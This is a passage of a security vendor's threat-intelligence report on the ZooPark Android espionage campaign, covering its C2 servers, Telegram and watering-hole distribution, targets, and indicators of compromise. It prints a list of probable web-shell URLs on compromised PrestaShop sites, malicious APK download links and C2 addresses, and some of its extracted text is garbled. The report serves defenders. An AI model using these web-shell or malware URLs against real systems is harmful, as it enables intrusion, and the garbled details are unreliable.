pic05.jpg | 15-Jan-2015 18:03 | 32k | | |

Image:pic06.jpg icon

pic06.jpg | 15-Jan-2015 18:03 | 36k | | |

Image:pic07.jpg icon

pic07.jpg | 15-Jan-2015 18:03 | 32k | | |

Image:pic08.jpg icon

pic08.jpg | 15-Jan-2015 18:03 | 12k | | |

Image:pic09.jpg icon

pic09.jpg | 15-Jan-2015 18:03 | 4k | | |

Image:sign-cor.png icon

sign-cor.png | 16-Jul-2014 10:17 | 4k | | |

Image:tick.png icon

tick.png | 18-Jul-2014 12:48 | 4k | | |

Image:user-icon.png icon

user-icon.png | 16-Jul-2014 09:48 | 4k | | *Proudly Served by LiteSpeed Web Server at rhubarb3.com Port 80* An inactive web interface login page at [hxtp://www.rhubarb3\[.\]com/login\[.\]php](http://hxtp://www.rhubarb3.com/login.php) points to the attackers previous C2 server rhubarb2.com: {23}------------------------------------------------ ![Screenshot of a web browser showing a login page for 'Rehubarb2'.The browser's address bar shows 'http://rhubarb3.com/get/main/log' and the page title is 'Login Rehubarb2'.The URL in the address bar is 'www.rhubarb3.com/login.php'.](7cdd3a0b8107619a3a05ea9ed16eff02_img.jpg) Screenshot of a web browser showing a login page for 'Rehubarb2'.The browser's address bar shows 'http://rhubarb3.com/get/main/log' and the page title is 'Login Rehubarb2'.The URL in the address bar is 'www.rhubarb3.com/login.php'. ### Register To Rehubarb The server's response error discloses environment paths: ``` Warning:Cannot modify header information - headers already sent by (output started at/home3/rhubarbc/public_html/get/main/index.php:1) in /home3/rhubarbc/public_html/get/main/index.php on line 6
``` #### 5.61.27.157 This is the c2 server for malware version 3.As already mentioned, this version is based on the commercial product Spymaster Pro, so the server side is similar. ![Screenshot of a web browser showing the 'Index of/' page for the IP address 5.61.27.157.The browser's address bar shows '5.61.27.157'.](8b7d06054b5d46b891858673c714c794_img.jpg) Screenshot of a web browser showing the 'Index of/' page for the IP address 5.61.27.157.The browser's address bar shows '5.61.27.157'. #### Index of/ | [ICO] | Name | Last modified | Size | Description | |-------|-----------------------------|----------------------|-------------|--------------------| | [DIR] | Admin/ | 2017-09-06 07:19 | - | | | [IMG] | favicon.ico | 2010-12-31 08:40 | 198K | | | [DIR] | spyMobile/ | 2017-09-06 07:20 | - | | | [ ] | www.rar | 2017-11-13 10:32 | 12K | | *Apache/2.4.9 (Win64) PHP/5.5.12 Server at 5.61.27.157 Port 80* The gate that handled requests from infected devices named “spyMobile” is exactly the same gate used by the commercial spyware product. Even some commented HTML seems to come originally from Spymaster Pro: {24}------------------------------------------------ ``` Apasecman - Android KeyLogger

Android Project

``` Apparently 'Apasecman - Android KeyLogger' was the original name given to this project by the attackers. #### 5.61.27.154 This is C2 server used in the last known version of this malware.The server-side timestamps are also recent: | 5.61.27.154/icons/ | | | | |------------------------------------------------------------------------------------------------------|------------|------------------|-----| |

| right.png | 2007-09-11 00:11 | 254 | |

| screw1.gif | 2004-11-20 13:16 | 258 | |

| screw1.png | 2007-09-11 00:11 | 328 | |

| screw2.gif | 2004-11-20 13:16 | 263 | |

| screw2.png | 2007-09-11 00:11 | 333 | |

| script.gif | 2004-11-20 13:16 | 242 | |

| script.png | 2007-09-11 00:11 | 290 | | small/

| small/ | 2017-09-04 10:21 | - | |

| sound1.gif | 2004-11-20 13:16 | 248 | |

| sound1.png | 2007-08-28 05:53 | 331 | |

| sound2.gif | 2004-11-20 13:16 | 221 | {25}------------------------------------------------ ## Distribution We have observed two main distribution vectors – telegram channels and watering holes. ### Telegram channels Several samples (version 1.0 in this specific case) mimicked a voting application for the Iranian Kurdistan province: ![Screenshot of a mobile application interface for a voting system.The screen shows a green ballot box with the text 'انتخاب دهم' (Election 10) on it.Below the box are two green buttons:'انتخاب من' (Select me) and 'معوت دوستان' (Request friends to vote).The top status bar shows 'version:1.0.2' and a clock set to 12:09.The bottom navigation bar has three icons:back, home, and recent apps.](23ccc57a4e09b138c310d1d174c5f316_img.jpg) Screenshot of a mobile application interface for a voting system.The screen shows a green ballot box with the text 'انتخاب دهم' (Election 10) on it.Below the box are two green buttons:'انتخاب من' (Select me) and 'معوت دوستان' (Request friends to vote).The top status bar shows 'version:1.0.2' and a clock set to 12:09.The bottom navigation bar has three icons:back, home, and recent apps. Inside the code we found a reference to the Telegram channel: ``` String v3 = String.valueOf(String.valueOf("ابا سلام") + " + لینک دریافت نرم افزار انتخابات آنلاین استان " + "کردستان به همراه آمار آنلاین در کانال زیر" + "http://telegram.me/enteqhab_10\n"); ``` Translation: ``` Hi The link to download the election software online in Kurdistan province with online statistics at the following channel http://telegram.me/enteqhab\_10 ``` {26}------------------------------------------------ ![Illustration of a green ballot box with a yellow slot on top.The box has the Persian words 'انتخاب دهم' (Election 10) written on it.](8de18f629e5d8ab818f3eff277a9c08b_img.jpg) Illustration of a green ballot box with a yellow slot on top.The box has the Persian words 'انتخاب دهم' (Election 10) written on it. #### انتخاب دهم 38 members نظر سنجی در خصوص کاندیداهای استان کردستان به همراه نرم افزار موبایلی رای گیری ارتباط با ادمین:Entekhab\_10\_Admin@ [VIEW CHANNEL](#) [https://telegram.me/entekhab\\_10](https://telegram.me/entekhab_10) Polls for candidates in Kurdistan province with mobile voting software Contact Admin:@Entekhab\_10\_Admin This channel was created on November 11, 2015 with the latest activity dated April 5, 2016. It shows election information among version 1.0 malware samples: {27}------------------------------------------------ ![Screenshot of a Telegram group chat named 'انتخاب دهم' (Election 10) with 38 members.The chat shows messages about the 2016 Egyptian presidential election, including a link to a file 'Entekhab10-v3.apk' and a link to the group's profile 't.me/Entekhab_10'.The profile page shows the group name, member count, and a link to the group's profile.The chat also shows a message from January 30, 2016, discussing the election results.](b8e33e88baf855d3881d2f32fb17b60a_img.jpg) Screenshot of a Telegram group chat named 'انتخاب دهم' (Election 10) with 38 members.The chat shows messages about the 2016 Egyptian presidential election, including a link to a file 'Entekhab10-v3.apk' and a link to the group's profile 't.me/Entekhab\_10'.The profile page shows the group name, member count, and a link to the group's profile.The chat also shows a message from January 30, 2016, discussing the election results. ## Watering holes We collected evidence that attackers deployed at least two watering holes to distribute their malware; in these cases version 3 of the malware was used. alnaharegypt.com Al-Nahar is one of the most popular Egyptian news sites, rated 19th in Egypt by popularity [according to Alexa](http://www.alexa.com/siteinfo/alnaharegypt.com). Below is a page from the site with news about the dollar exchange rate on the black market (http://www.alnaharegypt.com/t~467369): {28}------------------------------------------------ **تعرف على سعر الدولار في السوق السوداء..اليوم** مشاركة 0 أعجبتني 0 تعرف على سعر الدولار في السوق السوداء..اليوم مشاركة 0 أعجبتني 0 سجلت اسعار الدولار في السوق السوداء اليوم الاهد استقرارا مقارنة بامس ، حيث بلغ 12.25 جنيه للشراء ووصل في بعض المناطق إلى 12.35 جنيه للبيع. واكد المتعاملون بالسوق السوداء أن شركات الصرافة تمتنع عن البيع وتدعي عدم وجود الدولارات، مؤكدين عدم صحة الأنباء المتداولة عن انخفاض سعر الدولار إلى 11 جنيه، بسبب إعلان الحكومة عزمها التفاوض مع صندوق النقد الدولي لقرض 21 مليار دولار، وبسبب قرارات الحكومة يوقف الاستيراد العشوائي، وإغلاق 23 شركة صرافة جديدة. 668.31 x 38 PREMIUM SAVING ACCOUNT **حساب التوفير بالدولار الأمريكي** تمتع بمائد يصل إلى **2.5 %** **604** **AIB** البنك العربي الدولي ARAB INTERNATIONAL BANK شريك يعتمد عليه www.aib.com.eg Page infected with malicious iframe {29}------------------------------------------------ The page had an iframe pointing to a malicious APK: ``` ...▼

== $0 ▼ ▼ #document <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html> <shadow-root (open) <shadow> <head> <body> </shadow> <style></style> </shadow-root> <head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>...</p> </body> </html>

...

``` http://showroommontorgueil.com/modules/homepageadvertise2/slides/alnaharegypt.news\_v2.0.apk It would start downloading the malicious APK in Android without any notification, though a modern browser such as Chrome will notify the user before starting the download.The malicious APK name (alnaharegypt.news\_v2.0.apk) mimics the waterholed site. We took a closer look at the site hosting the malicious APK file - [showroommontorgueil\[.\]com](http://showroommontorgueil.com).It was the site of a French fashion brand: ![Screenshot of the Showroom Montorgueil website.The page features the brand name 'SHOWROOM MONTORGUEIL' and a navigation menu with links for HOME, ABOUT, BRANDS, and CONTACT.A large banner image shows two models in a fashion setting.The footer contains copyright information:'2015 showroommontorgueil.com.Tous droits réservés.Réalisé par Webitx'.](27a0ba79d8b4a7d9d9380ca6a3229f1a_img.jpg) Screenshot of the Showroom Montorgueil website.The page features the brand name 'SHOWROOM MONTORGUEIL' and a navigation menu with links for HOME, ABOUT, BRANDS, and CONTACT.A large banner image shows two models in a fashion setting.The footer contains copyright information:'2015 showroommontorgueil.com.Tous droits réservés.Réalisé par Webitx'. Showroommontorgueil.com state on 2016-01-16 Despite the fact the site is currently unavailable, based on the watering hole URL we can tell that it was a [PrestaShop web application](#).And if we look for serious security vulnerabilities there is an important one related to [file uploading](#).It allows a remote attacker to upload an {30}------------------------------------------------ arbitrary file by abusing PrestaShop modules, and as a result take control of the victim's server. Moreover, there is a list of URLs on Pastebin that look like vulnerable or already pwned PrestaShop sites, and it contains [showroommontorgueil.com](http://showroommontorgueil.com//modules/Xmw.php?up=hous): ``` 143.http://pictureretouch.com.au//modules/Xmw.php?up=hous 144.http://polseracatalana.cat//modules/Xmw.php?up=hous 145.http://chezbelette.com//modules/Xmw.php?up=hous 146.http://showroommontorgueil.com//modules/Xmw.php?up=hous 147.http://lagolondrinaeyewear.com//modules/Xmw.php?up=hous 148.http://magtechprints.pl//modules/Xmw.php?up=hous 149.http://lustbird.co.uk//modules/Xmw.php?up=hous ``` - list of probably uploaded php reverse shell scripts And the last point is the cached deface state of [showroommontorgueil.com](http://showroommontorgueil.com) hacked by [Indonesian Code Party](#): ![Screenshot of a mirror page from zone-h.org showing a defaced website.The page header includes 'zone-h unrestricted information' and a navigation menu.The main content area displays a mirror save from 2016-06-24 03:00:54 for the domain http://showroommontorgueil.com.The defaced content features a large white text message on a black background:'Hacked By Indonesian Code Party'.Below this, there is a list of names and handles:'we are Zelyngmou2 |/BlaDBeER | Unknownmou2 | -Denjaka- | Concept_Lxk |/Coco | ovfrr', 'Lock-Down | Linux |/Jight...Root | waterstone', and 'Greetz:Wlingisitar - UstadCage_48 - xcyberxfuckingx - bociDotID - Peluru Kertas - Daywalker - Mr.2 and Someone'.](4a7229c854e8286e8d38fc192a3ba1d4_img.jpg) Screenshot of a mirror page from zone-h.org showing a defaced website.The page header includes 'zone-h unrestricted information' and a navigation menu.The main content area displays a mirror save from 2016-06-24 03:00:54 for the domain http://showroommontorgueil.com.The defaced content features a large white text message on a black background:'Hacked By Indonesian Code Party'.Below this, there is a list of names and handles:'we are Zelyngmou2 |/BlaDBeER | Unknownmou2 | -Denjaka- | Concept\_Lxk |/Coco | ovfrr', 'Lock-Down | Linux |/Jight...Root | waterstone', and 'Greetz:Wlingisitar - UstadCage\_48 - xcyberxfuckingx - bociDotID - Peluru Kertas - Daywalker - Mr.2 and Someone'. It looks like the main interest of this hacking group is defacing vulnerable websites and they are probably unrelated to the campaign actors. All this suggests that [showroommontorgueil.com](http://showroommontorgueil.com) was hacked and probably by multiple attackers. {31}------------------------------------------------ ![Timeline diagram showing ordered events related to the watering hole deployment on alnaharegypt.com in 2016.](d9843ac5dfc4bbe9e4d21b8898723b5e_img.jpg) The diagram shows a timeline for the year 2016 with the following events: - 14.04:** Malware certificate valid from (start of orange box) - 24.06:** 'Indonesian Code Party' cached deface state (start of white box) - 22.07:** First PrestaShop forum posts (start of white box) - 07.08:** Malware certificate valid from (end of orange box) - 13.08:** Malware certificate valid from (end of orange box) - 13.08:** Pastebin post (start of white box) - 13.08:** Watering Hole exploitation detected case (end of orange box) Timeline diagram showing ordered events related to the watering hole deployment on alnaharegypt.com in 2016. Ordered events related to the watering hole deployment on alnaharegypt.com #### alhayatnews..com This news site is [one of the leading daily pan-Arab newspapers](http://alhayatnews..com), popular in Lebanon and Jordan. According to our telemetry, the malware was served on 2016-09-12 from: [hxtp://www.alhayatnews\[.\].com/ArabicRSS\[.\].japk](http://hxtp://www.alhayatnews..com/ArabicRSS..japk) #### annaharkw..com An-Nahar is a leading Arabic daily newspaper published in Kuwait.We found some traces suggesting that maybe there was a watering hole on their site, though we can't confirm this.In particular, one of the samples (ac4402e04de0949d7beed975db84e594) mimics the AnNahar official mobile application, which makes us believe the malware was probably distributed in a similar way through the legitimate site. ![Screenshot of the Google Play Store showing the app 'Jريدة النهار' (Al-Nahar) by News & Magazines.The app is described as a news and magazine application.Below the app store listing, three screenshots of the app's interface are shown, displaying news articles in Arabic with images of people and text.](e6fbffa8f0a33d829216b3e99c9e1103_img.jpg) Screenshot of the Google Play Store showing the app 'Jريدة النهار' (Al-Nahar) by News & Magazines.The app is described as a news and magazine application.Below the app store listing, three screenshots of the app's interface are shown, displaying news articles in Arabic with images of people and text. Legitimate app that malware mimics {32}------------------------------------------------ {33}------------------------------------------------ ## Victims Some of the analyzed samples provide clues about the intended targets for this campaign. For instance, the sample CB67ABD070AE188390FC040CBE60E677 mimics a voting application for the [independence referendum in Kurdistan](#): ![Screenshot of an Android home screen showing various app icons.The 'Yes For Refer.' icon, which features a green and red flag, is highlighted with a red rectangle.](483c43eac5aa582dfcb6e0aa8cee163f_img.jpg) A screenshot of an Android home screen with a grid of app icons.The icons include Browser, Calculator, Calendar, Camera, Clock, Dev Tools, Downloads, Email, Gallery, Messaging, Music, Notes, People, Phone, RSS Reader, Search, Settings, Speech Recog, Terminal Emu, and 'Yes For Refer.'.The 'Yes For Refer.' icon is highlighted with a red rectangle. Screenshot of an Android home screen showing various app icons.The 'Yes For Refer.' icon, which features a green and red flag, is highlighted with a red rectangle. Clicking it will show an image used by Kurdish referendum supporters and offer different voting options: ![Screenshot of the 'Yes For Referendum' application interface.It displays a large graphic of the Kurdish flag with a blue checkmark and text in Kurdish and English:'بەڵێ بۆ ریفراێدۆم' (Yes for referendum), 'نعم للأستفتاء' (Yes for the referendum), and 'Yes For Referendum'.Below the graphic are three buttons:'Yes', 'No', and 'Show results'.](c217a2cf65def6b0a38a1671885f42f7_img.jpg) A screenshot of the 'Yes For Referendum' application interface.The top bar shows the app name and a status bar with the time 12:08.The main screen features a large graphic of the Kurdish flag with a blue checkmark and text in Kurdish and English:'بەڵێ بۆ ریفراێدۆم' (Yes for referendum), 'نعم للأستفتاء' (Yes for the referendum), and 'Yes For Referendum'.Below the graphic are three buttons:'Yes', 'No', and 'Show results'. Screenshot of the 'Yes For Referendum' application interface.It displays a large graphic of the Kurdish flag with a blue checkmark and text in Kurdish and English:'بەڵێ بۆ ریفراێدۆم' (Yes for referendum), 'نعم للأستفتاء' (Yes for the referendum), and 'Yes For Referendum'.Below the graphic are three buttons:'Yes', 'No', and 'Show results'. Other possible high-profile targets include the United Nations Relief and Works Agency for Palestine Refugees in the Near East (UNRWA) in Amman, Jordan. {34}------------------------------------------------ ## Conclusions From the technical point of view, the evolution of ZooPark has shown notable progress:from the very basic first and second versions, the commercial spyware fork in its third version and then to the complex spyware that is version 4.This last step is especially interesting, showing a big leap from straightforward code functionality to highly sophisticated malware. This suggests the latest version may have been bought from vendors of specialist surveillance tools.That wouldn't be surprising, as the market for these espionage tools is growing, becoming popular among governments, with [several known cases](#) in the Middle East.Also, choosing mobile platforms for espionage campaigns is just a natural evolutionary step.At this point, we cannot confirm attribution to any known actor. If you would like to learn more about our intelligence reports or request more information on a specific report, contact us at:[intelreports@kaspersky.com](mailto:intelreports@kaspersky.com). {35}------------------------------------------------ ## Appendix - Indicators of compromise ### Malware samples | MD5 | Filename | |----------------------------------|--------------------------------------------------------| | Version 1.0 | | | 232BD3DDE6914DB0A3DBFC21ED178887 | Entekhab10 V1.apk | | 5EFDDD7F0FC2125E78A2CA18B68464EC | Entekhab10-v3.apk | | EC5A6F0E743F4B858ABA9DE96A33FB0C | TelegramGroups.apk | | Version 2.0 | | | 6A388EDBCE88BB0331AE875CEEB2F319 | AllInOne.apk | | E2F62B5ACF3795A62E9D54E1301C4E7B | | | CB67ABD070AE188390FC040CBE60E677 | Referendum Kurdistan.apk | | 699A7EEDD244F402303BCFFDEE1F0ED1 | | | Version 3.0 | | | 7D7AD116E6A42D4E518378E2313E9392 | Sexy_wallpaper.apk | | A7D00C8629079F944B61C4DD5C77C8FB | ArabicRSS.apk | | AC4402E04DE0949D7BEED975DB84E594 | com.ann.newspaper.apk | | B714B092D2F28FCF78EF8D02B46DBF9C | Alnaharegypt.news_v2.0.apk
familyinnovation_app.apk | | Version 4.0 | | | 519018ECFC50C0CF6CD0C88CC41B2A69 | FirewallFA.apk | | 5AD36F6DD060E52771A8E4A1DD90C50C | DVPNEasy.apk | | B44B91B14F176FBF93D998141931A4AA | DeleteTelegram.apk | {36}------------------------------------------------ ### C2 servers enteckhab10.xp3.biz androidupdaters.com dlgmail.com rhubarb2.com rhubarb3.com 5.61.27.154 5.61.27.157 ## Watering holes http://www.alnaharegypt.com/t~467369 -> http://showroommontorgueil.com/modules/homepageadvertise2/slides/alnaharegypt.news\_v2.0.apk http://www.alhayatnews.com/ArabicRSS.apk [comment]:<> (===END_PAGE 1===) ----------------

APT_Report: ZooPark

Reports